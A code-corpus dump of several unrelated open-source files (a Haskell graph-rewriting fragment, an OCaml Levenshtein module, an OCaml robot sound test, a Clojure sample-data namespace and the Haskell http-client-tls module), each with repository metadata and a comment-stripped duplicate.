typeE = edgeTypeInK (edgeId e)
src = applyNodeIdUnsafe k (sourceId e)
tgt = applyNodeIdUnsafe k (targetId e)
updatedK = createEdgeOnCodomain newEdge src tgt typeE k
updatedK2 = updateEdgeRelation (edgeId e) newEdge updatedK
updatedL' = createEdgeOnDomain newEdge src tgt typeE appliedA l'
where source and target nodes may have been cloned in D.
step4 = foldr updateEdgesFromA step3 edgesAddFromMatch
edgesAddFromMatch = zip edgesFromA ([(length edgesAddFromK)..]::[Int])
where
edgesFromA = [(edgeId e, u, v) |
e <- orphanTypedEdges m,
u <- nodeIdsFromDomain edgesL',
v <- nodeIdsFromDomain edgesL',
sourceId e == applyNodeIdUnsafe edgesL' u,
targetId e == applyNodeIdUnsafe edgesL' v]
updateEdgesFromA ((e,u,v),newId) (k,l') = (updatedK,updatedL')
where
newEdge = EdgeId newId
typeE = edgeTypeInA e
updatedK = createEdgeOnCodomain newEdge u v typeE k
updatedL' = createEdgeOnDomain newEdge u v typeE e l'
hasFinalPullbackComplement (Monomorphism, _) _ = True
hasFinalPullbackComplement _ _ =
error "Final pullback complement is not implemented for non monomorphic matches"
|
c2303b7355feada474089484c584159724d6356177381067e871198ed41a0a7f | brendanlong/ocaml-trie | levenshtein.ml | *
distance algorithm for general array .
Author :
License : public domain
Levenshtein distance algorithm for general array.
Author:
License: public domain
*)
* Minimum of three integers
let min3 (x:int) y z =
let m' (a:int) b = if a < b then a else b in
m' (m' x y) z
module type S = sig
type t
val distance : ?upper_bound: int -> t -> t -> int
* Calculate Levenshtein distance of 2 t 's
end
module type Array = sig
type t
type elem
val compare : elem -> elem -> int
val get : t -> int -> elem
val size : t -> int
end
module Make(A : Array) = struct
type t = A.t
(* slow_but_simple + memoization + upperbound
There is a property: d(i-1)(j-1) <= d(i)(j)
so if d(i-1)(j-1) >= upper_bound then we can immediately say
d(i)(j) >= upper_bound, and skip the calculation of d(i-1)(j) and d(i)(j-1)
*)
let distance ?(upper_bound=max_int) xs ys =
let size_xs = A.size xs
and size_ys = A.size ys in
(* cache: d i j is stored at cache.(i-1).(j-1) *)
let cache = Array.init size_xs (fun _ -> Array.make size_ys (-1)) in
let rec d i j =
match i, j with
| 0, _ -> j
| _, 0 -> i
| _ ->
let i' = i - 1 in
let cache_i = Array.unsafe_get cache i' in
let j' = j - 1 in
match Array.unsafe_get cache_i j' with
| -1 ->
let res =
let upleft = d i' j' in
if upleft >= upper_bound then upper_bound
else
let cost = abs (A.compare (A.get xs i') (A.get ys j')) in
let upleft' = upleft + cost in
if upleft' >= upper_bound then upper_bound
else
(* This is not tail recursive *)
min3 (d i' j + 1)
(d i j' + 1)
upleft'
in
Array.unsafe_set cache_i j' res;
res
| res -> res
in
min (d size_xs size_ys) upper_bound
end
(** With inter-query cache by hashtbl *)
module type Cache = sig
type 'a t
type key
val create : int -> 'a t
val alter : 'a t -> key -> ('a option -> 'a option) -> 'a option
end
type result =
| Exact of int
| GEQ of int (* the result is culled by upper_bound. We know it is GEQ to this value *)
module type WithCache = sig
type t
type cache
val create_cache : int -> cache
val distance : cache -> ?upper_bound: int -> t -> t -> result
end
module CacheByHashtbl(H : Hashtbl.HashedType) : Cache with type key = H.t = struct
include Hashtbl.Make(H)
let alter t k f =
let v = f (try Some (find t k) with Not_found -> None) in
begin match v with
| None -> remove t k
| Some v -> replace t k v
end;
v
end
module MakeWithCache(A : Array)(C : Cache with type key = A.t * A.t) = struct
type t = A.t
type cache = result C.t
module WithoutCache = Make(A)
let create_cache = C.create
let distance cache ?(upper_bound=max_int) xs ys =
let k = (xs, ys) in
let vopt = C.alter cache k @@ function
| Some (Exact _) as vopt -> vopt
| Some (GEQ res) as vopt when res >= upper_bound -> vopt
| _ (* not known, or inaccurate with this upper_bound *) ->
Some (
let res = WithoutCache.distance ~upper_bound xs ys in
if res >= upper_bound then GEQ upper_bound
else Exact res
)
in
match vopt with
| Some v -> v
| None -> assert false
end
module StringWithHashtbl = struct
module Array = struct
type t = string
type elem = char
let compare (c1 : char) c2 = compare c1 c2
let get = String.unsafe_get
let size = String.length
end
module Cache = CacheByHashtbl(struct
type t = string * string
let equal = (=)
let hash = Hashtbl.hash
end)
include MakeWithCache(Array)(Cache)
end
module String = struct
include Make(struct
type t = string
type elem = char
let compare (c1 : char) c2 = compare c1 c2
let get = String.unsafe_get
let size = String.length
end)
end
| null | https://raw.githubusercontent.com/brendanlong/ocaml-trie/4334364c6e9349ad9daa5d992557b64b1ed3dfc8/vendor/levenshtein/levenshtein.ml | ocaml | slow_but_simple + memoization + upperbound
There is a property: d(i-1)(j-1) <= d(i)(j)
so if d(i-1)(j-1) >= upper_bound then we can immediately say
d(i)(j) >= upper_bound, and skip the calculation of d(i-1)(j) and d(i)(j-1)
cache: d i j is stored at cache.(i-1).(j-1)
This is not tail recursive
* With inter-query cache by hashtbl
the result is culled by upper_bound. We know it is GEQ to this value
not known, or inaccurate with this upper_bound | *
distance algorithm for general array .
Author :
License : public domain
Levenshtein distance algorithm for general array.
Author:
License: public domain
*)
* Minimum of three integers
let min3 (x:int) y z =
let m' (a:int) b = if a < b then a else b in
m' (m' x y) z
module type S = sig
type t
val distance : ?upper_bound: int -> t -> t -> int
* Calculate Levenshtein distance of 2 t 's
end
module type Array = sig
type t
type elem
val compare : elem -> elem -> int
val get : t -> int -> elem
val size : t -> int
end
module Make(A : Array) = struct
type t = A.t
let distance ?(upper_bound=max_int) xs ys =
let size_xs = A.size xs
and size_ys = A.size ys in
let cache = Array.init size_xs (fun _ -> Array.make size_ys (-1)) in
let rec d i j =
match i, j with
| 0, _ -> j
| _, 0 -> i
| _ ->
let i' = i - 1 in
let cache_i = Array.unsafe_get cache i' in
let j' = j - 1 in
match Array.unsafe_get cache_i j' with
| -1 ->
let res =
let upleft = d i' j' in
if upleft >= upper_bound then upper_bound
else
let cost = abs (A.compare (A.get xs i') (A.get ys j')) in
let upleft' = upleft + cost in
if upleft' >= upper_bound then upper_bound
else
min3 (d i' j + 1)
(d i j' + 1)
upleft'
in
Array.unsafe_set cache_i j' res;
res
| res -> res
in
min (d size_xs size_ys) upper_bound
end
module type Cache = sig
type 'a t
type key
val create : int -> 'a t
val alter : 'a t -> key -> ('a option -> 'a option) -> 'a option
end
type result =
| Exact of int
module type WithCache = sig
type t
type cache
val create_cache : int -> cache
val distance : cache -> ?upper_bound: int -> t -> t -> result
end
module CacheByHashtbl(H : Hashtbl.HashedType) : Cache with type key = H.t = struct
include Hashtbl.Make(H)
let alter t k f =
let v = f (try Some (find t k) with Not_found -> None) in
begin match v with
| None -> remove t k
| Some v -> replace t k v
end;
v
end
module MakeWithCache(A : Array)(C : Cache with type key = A.t * A.t) = struct
type t = A.t
type cache = result C.t
module WithoutCache = Make(A)
let create_cache = C.create
let distance cache ?(upper_bound=max_int) xs ys =
let k = (xs, ys) in
let vopt = C.alter cache k @@ function
| Some (Exact _) as vopt -> vopt
| Some (GEQ res) as vopt when res >= upper_bound -> vopt
Some (
let res = WithoutCache.distance ~upper_bound xs ys in
if res >= upper_bound then GEQ upper_bound
else Exact res
)
in
match vopt with
| Some v -> v
| None -> assert false
end
module StringWithHashtbl = struct
module Array = struct
type t = string
type elem = char
let compare (c1 : char) c2 = compare c1 c2
let get = String.unsafe_get
let size = String.length
end
module Cache = CacheByHashtbl(struct
type t = string * string
let equal = (=)
let hash = Hashtbl.hash
end)
include MakeWithCache(Array)(Cache)
end
module String = struct
include Make(struct
type t = string
type elem = char
let compare (c1 : char) c2 = compare c1 c2
let get = String.unsafe_get
let size = String.length
end)
end
|
3adef44b88e5c5368df02cfa10ac7abaa91ec825075d037255445cdf117c66f8 | bobot/FetedelascienceINRIAsaclay | sound.ml | open Printf
let bt =
if Array.length Sys.argv < 2 then (
printf "%s <bluetooth addr>\n" Sys.argv.(0);
exit 1;
)
else Sys.argv.(1)
let soundfile = "Woops.rso"
let () =
let conn = Mindstorm.connect_bluetooth bt in
printf "Connected!\n%!";
Mindstorm.Sound.play_tone conn 800 500;
Unix.sleep 1;
Mindstorm.Sound.play_tone conn 200 500;
printf "Tone played.\n%!";
Unix.sleep 1;
Mindstorm.Sound.play conn soundfile ~loop:true;
printf "Sound %S playing... %!" soundfile;
Unix.sleep 3;
Mindstorm.Sound.stop conn;
printf "done.\n%!"
| null | https://raw.githubusercontent.com/bobot/FetedelascienceINRIAsaclay/87765db9f9c7211a26a09eb93e9c92f99a49b0bc/2010/robot/mindstorm-bzr/tests/sound.ml | ocaml | open Printf
let bt =
if Array.length Sys.argv < 2 then (
printf "%s <bluetooth addr>\n" Sys.argv.(0);
exit 1;
)
else Sys.argv.(1)
let soundfile = "Woops.rso"
let () =
let conn = Mindstorm.connect_bluetooth bt in
printf "Connected!\n%!";
Mindstorm.Sound.play_tone conn 800 500;
Unix.sleep 1;
Mindstorm.Sound.play_tone conn 200 500;
printf "Tone played.\n%!";
Unix.sleep 1;
Mindstorm.Sound.play conn soundfile ~loop:true;
printf "Sound %S playing... %!" soundfile;
Unix.sleep 3;
Mindstorm.Sound.stop conn;
printf "done.\n%!"
| |
6a25956735d74f021fdf42097d0cde3e9d046957dd4be8c7b7f05ba692c30469 | TheClimateCorporation/clj-spark | extra.clj | (ns clj-spark.examples.extra
"This namespace simulates getting a dataset from a distinct source. This could be
a SQL query, for example.")
(defn get-data
"Returns a result set as a seq of Maps. Similar to a result set acquired by clojure.data.jdbc."
[]
(map (partial zipmap [:policy_id :field_id :state :policy_premium :acres])
[[(int 1) 10 "NY" 100.0 2]
[(int 1) 20 "NY" 200.0 2]
[(int 2) 10 "CT" 300.0 2]
[(int 2) 11 "CT" 400.0 2]]))
| null | https://raw.githubusercontent.com/TheClimateCorporation/clj-spark/b1f4fc5305e41673c9e98918278f02f112f693a3/src/clj_spark/examples/extra.clj | clojure | (ns clj-spark.examples.extra
"This namespace simulates getting a dataset from a distinct source. This could be
a SQL query, for example.")
(defn get-data
"Returns a result set as a seq of Maps. Similar to a result set acquired by clojure.data.jdbc."
[]
(map (partial zipmap [:policy_id :field_id :state :policy_premium :acres])
[[(int 1) 10 "NY" 100.0 2]
[(int 1) 20 "NY" 200.0 2]
[(int 2) 10 "CT" 300.0 2]
[(int 2) 11 "CT" 400.0 2]]))
| |
959ba23266b61949436a8d160fa36c4d59ae3a0be729d11f6a9a156c744738c7 | snoyberg/http-client | TLS.hs | # LANGUAGE CPP #
# LANGUAGE ScopedTypeVariables #
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE DeriveDataTypeable #-}
-- | Support for making connections via the connection package and, in turn,
-- the tls package suite.
--
-- Recommended reading: <-lang.org/library/http-client>
module Network.HTTP.Client.TLS
( -- * Settings
tlsManagerSettings
, mkManagerSettings
, mkManagerSettingsContext
, newTlsManager
, newTlsManagerWith
-- * Digest authentication
, applyDigestAuth
, DigestAuthException (..)
, DigestAuthExceptionDetails (..)
, displayDigestAuthException
-- * Global manager
, getGlobalManager
, setGlobalManager
) where
import Control.Applicative ((<|>))
import Control.Arrow (first)
import System.Environment (getEnvironment)
import Data.Default.Class
import Network.HTTP.Client hiding (host, port)
import Network.HTTP.Client.Internal hiding (host, port)
import Control.Exception
import qualified Network.Connection as NC
import Network.Socket (HostAddress)
import qualified Network.TLS as TLS
import qualified Data.ByteString as S
import Data.IORef (IORef, newIORef, readIORef, writeIORef)
import System.IO.Unsafe (unsafePerformIO)
import Control.Monad.IO.Class (MonadIO, liftIO)
import Control.Monad (guard, unless)
import qualified Data.CaseInsensitive as CI
import Data.Maybe (fromMaybe, isJust)
import Network.HTTP.Types (status401)
import Crypto.Hash (hash, Digest, MD5)
import Control.Arrow ((***))
import Data.ByteArray.Encoding (convertToBase, Base (Base16))
import Data.Typeable (Typeable)
import Control.Monad.Catch (MonadThrow, throwM)
import qualified Data.Map as Map
import qualified Data.Text as T
import Data.Text.Read (decimal)
import qualified Network.URI as U
| Create a TLS - enabled ' ' with the given ' NC.TLSSettings ' and
-- 'NC.SockSettings'
mkManagerSettings :: NC.TLSSettings
-> Maybe NC.SockSettings
-> ManagerSettings
mkManagerSettings = mkManagerSettingsContext Nothing
| Same as ' mkManagerSettings ' , but also takes an optional
-- 'NC.ConnectionContext'. Providing this externally can be an
-- optimization, though that may change in the future. For more
-- information, see:
--
-- <-client/pull/227>
--
-- @since 0.3.2
mkManagerSettingsContext
:: Maybe NC.ConnectionContext
-> NC.TLSSettings
-> Maybe NC.SockSettings
-> ManagerSettings
mkManagerSettingsContext mcontext tls sock = mkManagerSettingsContext' defaultManagerSettings mcontext tls sock sock
| Internal , allow different SockSettings for HTTP and HTTPS
mkManagerSettingsContext'
:: ManagerSettings
-> Maybe NC.ConnectionContext
-> NC.TLSSettings
-> Maybe NC.SockSettings -- ^ insecure
-> Maybe NC.SockSettings -- ^ secure
-> ManagerSettings
mkManagerSettingsContext' set mcontext tls sockHTTP sockHTTPS = set
{ managerTlsConnection = getTlsConnection mcontext (Just tls) sockHTTPS
, managerTlsProxyConnection = getTlsProxyConnection mcontext tls sockHTTPS
, managerRawConnection =
case sockHTTP of
Nothing -> managerRawConnection defaultManagerSettings
Just _ -> getTlsConnection mcontext Nothing sockHTTP
, managerRetryableException = \e ->
case () of
()
| ((fromException e)::(Maybe TLS.TLSError))==Just TLS.Error_EOF -> True
| otherwise -> managerRetryableException defaultManagerSettings e
, managerWrapException = \req ->
let wrapper se
| Just (_ :: IOException) <- fromException se = se'
| Just (_ :: TLS.TLSException) <- fromException se = se'
| Just (_ :: TLS.TLSError) <- fromException se = se'
| Just (_ :: NC.LineTooLong) <- fromException se = se'
#if MIN_VERSION_connection(0,2,7)
| Just (_ :: NC.HostNotResolved) <- fromException se = se'
| Just (_ :: NC.HostCannotConnect) <- fromException se = se'
#endif
| otherwise = se
where
se' = toException $ HttpExceptionRequest req $ InternalException se
in handle $ throwIO . wrapper
}
-- | Default TLS-enabled manager settings
tlsManagerSettings :: ManagerSettings
tlsManagerSettings = mkManagerSettings def Nothing
getTlsConnection :: Maybe NC.ConnectionContext
-> Maybe NC.TLSSettings
-> Maybe NC.SockSettings
-> IO (Maybe HostAddress -> String -> Int -> IO Connection)
getTlsConnection mcontext tls sock = do
context <- maybe NC.initConnectionContext return mcontext
return $ \_ha host port -> bracketOnError
(NC.connectTo context NC.ConnectionParams
{ NC.connectionHostname = strippedHostName host
, NC.connectionPort = fromIntegral port
, NC.connectionUseSecure = tls
, NC.connectionUseSocks = sock
})
NC.connectionClose
convertConnection
getTlsProxyConnection
:: Maybe NC.ConnectionContext
-> NC.TLSSettings
-> Maybe NC.SockSettings
-> IO (S.ByteString -> (Connection -> IO ()) -> String -> Maybe HostAddress -> String -> Int -> IO Connection)
getTlsProxyConnection mcontext tls sock = do
context <- maybe NC.initConnectionContext return mcontext
return $ \connstr checkConn serverName _ha host port -> bracketOnError
(NC.connectTo context NC.ConnectionParams
{ NC.connectionHostname = strippedHostName serverName
, NC.connectionPort = fromIntegral port
, NC.connectionUseSecure = Nothing
, NC.connectionUseSocks =
case sock of
Just _ -> error "Cannot use SOCKS and TLS proxying together"
Nothing -> Just $ NC.OtherProxy (strippedHostName host) $ fromIntegral port
})
NC.connectionClose
$ \conn -> do
NC.connectionPut conn connstr
conn' <- convertConnection conn
checkConn conn'
NC.connectionSetSecure context conn tls
return conn'
convertConnection :: NC.Connection -> IO Connection
convertConnection conn = makeConnection
(NC.connectionGetChunk conn)
(NC.connectionPut conn)
-- Closing an SSL connection gracefully involves writing/reading
-- on the socket. But when this is called the socket might be
already closed , and we get a @ResourceVanished@.
(NC.connectionClose conn `Control.Exception.catch` \(_ :: IOException) -> return ())
-- We may decide in the future to just have a global
ConnectionContext and use it directly in tlsManagerSettings , at
which point this can again be a simple ( newManager
-- tlsManagerSettings >>= newIORef). See:
-- -client/pull/227.
globalConnectionContext :: NC.ConnectionContext
globalConnectionContext = unsafePerformIO NC.initConnectionContext
# NOINLINE globalConnectionContext #
| Load up a new TLS manager with default settings , respecting proxy
-- environment variables.
--
-- @since 0.3.4
newTlsManager :: MonadIO m => m Manager
newTlsManager = liftIO $ do
env <- getEnvironment
let lenv = Map.fromList $ map (first $ T.toLower . T.pack) env
msocksHTTP = parseSocksSettings env lenv "http_proxy"
msocksHTTPS = parseSocksSettings env lenv "https_proxy"
settings = mkManagerSettingsContext' defaultManagerSettings (Just globalConnectionContext) def msocksHTTP msocksHTTPS
settings' = maybe id (const $ managerSetInsecureProxy proxyFromRequest) msocksHTTP
$ maybe id (const $ managerSetSecureProxy proxyFromRequest) msocksHTTPS
settings
newManager settings'
| Load up a new TLS manager based upon specified settings ,
-- respecting proxy environment variables.
--
@since 0.3.5
newTlsManagerWith :: MonadIO m => ManagerSettings -> m Manager
newTlsManagerWith set = liftIO $ do
env <- getEnvironment
let lenv = Map.fromList $ map (first $ T.toLower . T.pack) env
msocksHTTP = parseSocksSettings env lenv "http_proxy"
msocksHTTPS = parseSocksSettings env lenv "https_proxy"
settings = mkManagerSettingsContext' set (Just globalConnectionContext) def msocksHTTP msocksHTTPS
settings' = maybe id (const $ managerSetInsecureProxy proxyFromRequest) msocksHTTP
$ maybe id (const $ managerSetSecureProxy proxyFromRequest) msocksHTTPS
settings
We want to keep the original TLS settings that were
-- passed in. Sadly they aren't available as a record
field on ` ManagerSettings ` . So instead we grab the
fields that depend on the TLS settings .
-- -client/issues/289
{ managerTlsConnection = managerTlsConnection set
, managerTlsProxyConnection = managerTlsProxyConnection set
}
newManager settings'
parseSocksSettings :: [(String, String)] -- ^ original environment
-> Map.Map T.Text String -- ^ lower-cased keys
-> T.Text -- ^ env name
-> Maybe NC.SockSettings
parseSocksSettings env lenv n = do
str <- lookup (T.unpack n) env <|> Map.lookup n lenv
let allowedScheme x = x == "socks5:" || x == "socks5h:"
uri <- U.parseURI str
guard $ allowedScheme $ U.uriScheme uri
guard $ null (U.uriPath uri) || U.uriPath uri == "/"
guard $ null $ U.uriQuery uri
guard $ null $ U.uriFragment uri
auth <- U.uriAuthority uri
port' <-
case U.uriPort auth of
"" -> Nothing -- should we use some default?
':':rest ->
case decimal $ T.pack rest of
Right (p, "") -> Just p
_ -> Nothing
_ -> Nothing
Just $ NC.SockSettingsSimple (U.uriRegName auth) port'
-- | Evil global manager, to make life easier for the common use case
globalManager :: IORef Manager
globalManager = unsafePerformIO $ newTlsManager >>= newIORef
# NOINLINE globalManager #
-- | Get the current global 'Manager'
--
-- @since 0.2.4
getGlobalManager :: IO Manager
getGlobalManager = readIORef globalManager
# INLINE getGlobalManager #
-- | Set the current global 'Manager'
--
-- @since 0.2.4
setGlobalManager :: Manager -> IO ()
setGlobalManager = writeIORef globalManager
-- | Generated by 'applyDigestAuth' when it is unable to apply the
-- digest credentials to the request.
--
-- @since 0.3.3
data DigestAuthException
= DigestAuthException Request (Response ()) DigestAuthExceptionDetails
deriving (Show, Typeable)
instance Exception DigestAuthException where
#if MIN_VERSION_base(4, 8, 0)
displayException = displayDigestAuthException
#endif
-- | User friendly display of a 'DigestAuthException'
--
-- @since 0.3.3
displayDigestAuthException :: DigestAuthException -> String
displayDigestAuthException (DigestAuthException req res det) = concat
[ "Unable to submit digest credentials due to: "
, details
, ".\n\nRequest: "
, show req
, ".\n\nResponse: "
, show res
]
where
details =
case det of
UnexpectedStatusCode -> "received unexpected status code"
MissingWWWAuthenticateHeader ->
"missing WWW-Authenticate response header"
WWWAuthenticateIsNotDigest ->
"WWW-Authenticate response header does not indicate Digest"
MissingRealm ->
"WWW-Authenticate response header does include realm"
MissingNonce ->
"WWW-Authenticate response header does include nonce"
-- | Detailed explanation for failure for 'DigestAuthException'
--
-- @since 0.3.3
data DigestAuthExceptionDetails
= UnexpectedStatusCode
| MissingWWWAuthenticateHeader
| WWWAuthenticateIsNotDigest
| MissingRealm
| MissingNonce
deriving (Show, Read, Typeable, Eq, Ord)
-- | Apply digest authentication to this request.
--
-- Note that this function will need to make an HTTP request to the
-- server in order to get the nonce, thus the need for a @Manager@ and
to live in This also means that the request body will be sent
-- to the server. If the request body in the supplied @Request@ can
-- only be read once, you should replace it with a dummy value.
--
-- In the event of successfully generating a digest, this will return
-- a @Just@ value. If there is any problem with generating the digest,
it will return @Nothing@.
--
@since 0.3.1
applyDigestAuth :: (MonadIO m, MonadThrow n)
=> S.ByteString -- ^ username
-> S.ByteString -- ^ password
-> Request
-> Manager
-> m (n Request)
applyDigestAuth user pass req0 man = liftIO $ do
res <- httpNoBody req man
let throw' = throwM . DigestAuthException req res
return $ do
unless (responseStatus res == status401)
$ throw' UnexpectedStatusCode
h1 <- maybe (throw' MissingWWWAuthenticateHeader) return
$ lookup "WWW-Authenticate" $ responseHeaders res
h2 <- maybe (throw' WWWAuthenticateIsNotDigest) return
$ stripCI "Digest " h1
let pieces = map (strip *** strip) (toPairs h2)
realm <- maybe (throw' MissingRealm) return
$ lookup "realm" pieces
nonce <- maybe (throw' MissingNonce) return
$ lookup "nonce" pieces
let qop = isJust $ lookup "qop" pieces
digest
| qop = md5 $ S.concat
[ ha1
, ":"
, nonce
, ":00000001:deadbeef:auth:"
, ha2
]
| otherwise = md5 $ S.concat [ha1, ":", nonce, ":", ha2]
where
ha1 = md5 $ S.concat [user, ":", realm, ":", pass]
we always use no qop or qop = auth
ha2 = md5 $ S.concat [method req, ":", path req]
md5 bs = convertToBase Base16 (hash bs :: Digest MD5)
key = "Authorization"
val = S.concat
[ "Digest username=\""
, user
, "\", realm=\""
, realm
, "\", nonce=\""
, nonce
, "\", uri=\""
, path req
, "\", response=\""
, digest
, "\""
FIXME algorithm ?
, case lookup "opaque" pieces of
Nothing -> ""
Just o -> S.concat [", opaque=\"", o, "\""]
, if qop
then ", qop=auth, nc=00000001, cnonce=\"deadbeef\""
else ""
]
return req
{ requestHeaders = (key, val)
: filter
(\(x, _) -> x /= key)
(requestHeaders req)
, cookieJar = Just $ responseCookieJar res
}
where
-- Since we're expecting a non-200 response, ensure we do not
-- throw exceptions for such responses.
req = req0 { checkResponse = \_ _ -> return () }
stripCI x y
| CI.mk x == CI.mk (S.take len y) = Just $ S.drop len y
| otherwise = Nothing
where
len = S.length x
_comma = 44
_equal = 61
_dquot = 34
_space = 32
strip = fst . S.spanEnd (== _space) . S.dropWhile (== _space)
toPairs bs0
| S.null bs0 = []
| otherwise =
let bs1 = S.dropWhile (== _space) bs0
(key, bs2) = S.break (\w -> w == _equal || w == _comma) bs1
in case () of
()
| S.null bs2 -> [(key, "")]
| S.head bs2 == _equal ->
let (val, rest) = parseVal $ S.tail bs2
in (key, val) : toPairs rest
| otherwise ->
assert (S.head bs2 == _comma) $
(key, "") : toPairs (S.tail bs2)
parseVal bs0 = fromMaybe (parseUnquoted bs0) $ do
guard $ not $ S.null bs0
guard $ S.head bs0 == _dquot
let (x, y) = S.break (== _dquot) $ S.tail bs0
guard $ not $ S.null y
Just (x, S.drop 1 $ S.dropWhile (/= _comma) y)
parseUnquoted bs =
let (x, y) = S.break (== _comma) bs
in (x, S.drop 1 y)
| null | https://raw.githubusercontent.com/snoyberg/http-client/2580cce859d2272de9c4ac5ef8c67643ad934207/http-client-tls/Network/HTTP/Client/TLS.hs | haskell | # LANGUAGE OverloadedStrings #
# LANGUAGE DeriveDataTypeable #
| Support for making connections via the connection package and, in turn,
the tls package suite.
Recommended reading: <-lang.org/library/http-client>
* Settings
* Digest authentication
* Global manager
'NC.SockSettings'
'NC.ConnectionContext'. Providing this externally can be an
optimization, though that may change in the future. For more
information, see:
<-client/pull/227>
@since 0.3.2
^ insecure
^ secure
| Default TLS-enabled manager settings
Closing an SSL connection gracefully involves writing/reading
on the socket. But when this is called the socket might be
We may decide in the future to just have a global
tlsManagerSettings >>= newIORef). See:
-client/pull/227.
environment variables.
@since 0.3.4
respecting proxy environment variables.
passed in. Sadly they aren't available as a record
-client/issues/289
^ original environment
^ lower-cased keys
^ env name
should we use some default?
| Evil global manager, to make life easier for the common use case
| Get the current global 'Manager'
@since 0.2.4
| Set the current global 'Manager'
@since 0.2.4
| Generated by 'applyDigestAuth' when it is unable to apply the
digest credentials to the request.
@since 0.3.3
| User friendly display of a 'DigestAuthException'
@since 0.3.3
| Detailed explanation for failure for 'DigestAuthException'
@since 0.3.3
| Apply digest authentication to this request.
Note that this function will need to make an HTTP request to the
server in order to get the nonce, thus the need for a @Manager@ and
to the server. If the request body in the supplied @Request@ can
only be read once, you should replace it with a dummy value.
In the event of successfully generating a digest, this will return
a @Just@ value. If there is any problem with generating the digest,
^ username
^ password
Since we're expecting a non-200 response, ensure we do not
throw exceptions for such responses. | # LANGUAGE CPP #
# LANGUAGE ScopedTypeVariables #
module Network.HTTP.Client.TLS
tlsManagerSettings
, mkManagerSettings
, mkManagerSettingsContext
, newTlsManager
, newTlsManagerWith
, applyDigestAuth
, DigestAuthException (..)
, DigestAuthExceptionDetails (..)
, displayDigestAuthException
, getGlobalManager
, setGlobalManager
) where
import Control.Applicative ((<|>))
import Control.Arrow (first)
import System.Environment (getEnvironment)
import Data.Default.Class
import Network.HTTP.Client hiding (host, port)
import Network.HTTP.Client.Internal hiding (host, port)
import Control.Exception
import qualified Network.Connection as NC
import Network.Socket (HostAddress)
import qualified Network.TLS as TLS
import qualified Data.ByteString as S
import Data.IORef (IORef, newIORef, readIORef, writeIORef)
import System.IO.Unsafe (unsafePerformIO)
import Control.Monad.IO.Class (MonadIO, liftIO)
import Control.Monad (guard, unless)
import qualified Data.CaseInsensitive as CI
import Data.Maybe (fromMaybe, isJust)
import Network.HTTP.Types (status401)
import Crypto.Hash (hash, Digest, MD5)
import Control.Arrow ((***))
import Data.ByteArray.Encoding (convertToBase, Base (Base16))
import Data.Typeable (Typeable)
import Control.Monad.Catch (MonadThrow, throwM)
import qualified Data.Map as Map
import qualified Data.Text as T
import Data.Text.Read (decimal)
import qualified Network.URI as U
| Create a TLS - enabled ' ' with the given ' NC.TLSSettings ' and
mkManagerSettings :: NC.TLSSettings
-> Maybe NC.SockSettings
-> ManagerSettings
mkManagerSettings = mkManagerSettingsContext Nothing
| Same as ' mkManagerSettings ' , but also takes an optional
mkManagerSettingsContext
:: Maybe NC.ConnectionContext
-> NC.TLSSettings
-> Maybe NC.SockSettings
-> ManagerSettings
mkManagerSettingsContext mcontext tls sock = mkManagerSettingsContext' defaultManagerSettings mcontext tls sock sock
| Internal , allow different SockSettings for HTTP and HTTPS
mkManagerSettingsContext'
:: ManagerSettings
-> Maybe NC.ConnectionContext
-> NC.TLSSettings
-> ManagerSettings
mkManagerSettingsContext' set mcontext tls sockHTTP sockHTTPS = set
{ managerTlsConnection = getTlsConnection mcontext (Just tls) sockHTTPS
, managerTlsProxyConnection = getTlsProxyConnection mcontext tls sockHTTPS
, managerRawConnection =
case sockHTTP of
Nothing -> managerRawConnection defaultManagerSettings
Just _ -> getTlsConnection mcontext Nothing sockHTTP
, managerRetryableException = \e ->
case () of
()
| ((fromException e)::(Maybe TLS.TLSError))==Just TLS.Error_EOF -> True
| otherwise -> managerRetryableException defaultManagerSettings e
, managerWrapException = \req ->
let wrapper se
| Just (_ :: IOException) <- fromException se = se'
| Just (_ :: TLS.TLSException) <- fromException se = se'
| Just (_ :: TLS.TLSError) <- fromException se = se'
| Just (_ :: NC.LineTooLong) <- fromException se = se'
#if MIN_VERSION_connection(0,2,7)
| Just (_ :: NC.HostNotResolved) <- fromException se = se'
| Just (_ :: NC.HostCannotConnect) <- fromException se = se'
#endif
| otherwise = se
where
se' = toException $ HttpExceptionRequest req $ InternalException se
in handle $ throwIO . wrapper
}
tlsManagerSettings :: ManagerSettings
tlsManagerSettings = mkManagerSettings def Nothing
getTlsConnection :: Maybe NC.ConnectionContext
-> Maybe NC.TLSSettings
-> Maybe NC.SockSettings
-> IO (Maybe HostAddress -> String -> Int -> IO Connection)
getTlsConnection mcontext tls sock = do
context <- maybe NC.initConnectionContext return mcontext
return $ \_ha host port -> bracketOnError
(NC.connectTo context NC.ConnectionParams
{ NC.connectionHostname = strippedHostName host
, NC.connectionPort = fromIntegral port
, NC.connectionUseSecure = tls
, NC.connectionUseSocks = sock
})
NC.connectionClose
convertConnection
getTlsProxyConnection
:: Maybe NC.ConnectionContext
-> NC.TLSSettings
-> Maybe NC.SockSettings
-> IO (S.ByteString -> (Connection -> IO ()) -> String -> Maybe HostAddress -> String -> Int -> IO Connection)
getTlsProxyConnection mcontext tls sock = do
context <- maybe NC.initConnectionContext return mcontext
return $ \connstr checkConn serverName _ha host port -> bracketOnError
(NC.connectTo context NC.ConnectionParams
{ NC.connectionHostname = strippedHostName serverName
, NC.connectionPort = fromIntegral port
, NC.connectionUseSecure = Nothing
, NC.connectionUseSocks =
case sock of
Just _ -> error "Cannot use SOCKS and TLS proxying together"
Nothing -> Just $ NC.OtherProxy (strippedHostName host) $ fromIntegral port
})
NC.connectionClose
$ \conn -> do
NC.connectionPut conn connstr
conn' <- convertConnection conn
checkConn conn'
NC.connectionSetSecure context conn tls
return conn'
convertConnection :: NC.Connection -> IO Connection
convertConnection conn = makeConnection
(NC.connectionGetChunk conn)
(NC.connectionPut conn)
already closed , and we get a @ResourceVanished@.
(NC.connectionClose conn `Control.Exception.catch` \(_ :: IOException) -> return ())
ConnectionContext and use it directly in tlsManagerSettings , at
which point this can again be a simple ( newManager
globalConnectionContext :: NC.ConnectionContext
globalConnectionContext = unsafePerformIO NC.initConnectionContext
# NOINLINE globalConnectionContext #
| Load up a new TLS manager with default settings , respecting proxy
newTlsManager :: MonadIO m => m Manager
newTlsManager = liftIO $ do
env <- getEnvironment
let lenv = Map.fromList $ map (first $ T.toLower . T.pack) env
msocksHTTP = parseSocksSettings env lenv "http_proxy"
msocksHTTPS = parseSocksSettings env lenv "https_proxy"
